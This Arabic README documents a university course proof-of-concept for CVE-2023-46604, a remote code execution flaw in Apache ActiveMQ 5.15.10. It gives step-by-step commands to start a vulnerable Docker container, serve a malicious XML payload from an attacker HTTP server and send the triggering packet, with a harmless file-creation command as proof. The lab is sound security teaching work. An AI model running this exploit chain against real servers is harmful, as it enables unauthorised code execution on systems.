
PoC لـ CVE-2023-46604 مكتوب كجزء من فصل SPS في برنامج الماجستير في الأمن السيبراني المتقدم بجامعة UPB.
الواجب: الواجب الثالث لمادة SSP الفريق: RCE You Later الأعضاء: Banica Horia Alexandru, Comarlau Vlad-Constantin
رابط فيديو لاستخدام المستودع لعمل إثبات المفهوم: https://www.youtube.com/watch?v=vum4qTF4ygU
يحتوي هذا المستودع على إثبات مفهوم (PoC) وظيفي بالكامل للثغرة CVE-2023-46604. تسمح هذه الثغرة للمهاجم بتنفيذ أوامر شيل عشوائية على خادم Apache ActiveMQ ضعيف (الإصدار 5.15.10) عن طريق إجباره على إلغاء تسلسل ملف تكوين XML ضار.
الهدف: إنشاء ملف باسم pwned_by_ssp_team داخل الخادم الضحية لإثبات أننا نملك السيطرة.
قبل تشغيل الاستغلال، تأكد من أن لديك:
vulnerable-env/: يحتوي على إعداد Docker للخادم الضحية.attacker/: يحتوي على نصوص الاستغلال والحمولات الضارة.
exploit.py: نص بايثون الذي يرسل الحزمة الضارة.serve.py: خادم HTTP بسيط لاستضافة حمولة XML.poc.xml: ملف التكوين الضار الذي يحتوي على الأمر touch /tmp/pwned_by_ssp_team.سنقوم بتشغيل إصدار قديم وضعيف من ActiveMQ باستخدام Docker.
vulnerable-env:
cd vulnerable-env
docker-compose up -d
يحتاج الخادم الضحية إلى تنزيل التعليمات منا. سنقوم بإعداد خادم ويب صغير لاستضافة هذه التعليمات.
attacker:
cd attacker
python3 serve.py
احتفظ بهذه المحطة مفتوحة! يجب أن ترى "Serving HTTP on 0.0.0.0 port 8000..."الآن نرسل حزمة الشبكة المحددة التي تؤدي إلى تفعيل الثغرة.
افتح محطة طرفية ثالثة.
انتقل إلى مجلد attacker:
cd attacker
شغّل نص الاستغلال. ملاحظة: إذا كنت على macOS أو Windows، استخدم الأمر أدناه كما هو تمامًا.
python3 exploit.py -i 127.0.0.1 -p 61616 -u http://host.docker.internal:8000/poc.xml
مستخدمي Linux: إذا كنت على Linux، استبدل host.docker.internal ببوابة جسر الشبكة، عادةً: 172.17.0.1. حاول الحصول على العنوان بهذه الطريقة إذا لم يعمل المذكور: docker network inspect bridge -f '{{range .IPAM.Config}}{{.Gateway}}{{end}}'
هل نجح؟ دعنا نتحقق مما إذا كان الملف قد تم إنشاؤه داخل الحاوية.
/tmp داخل الضحية:
docker exec activemq-victim ls -l /tmp
pwned_by_ssp_team.لإيقاف وإزالة الحاوية الضعيفة:
cd vulnerable-env
docker-compose down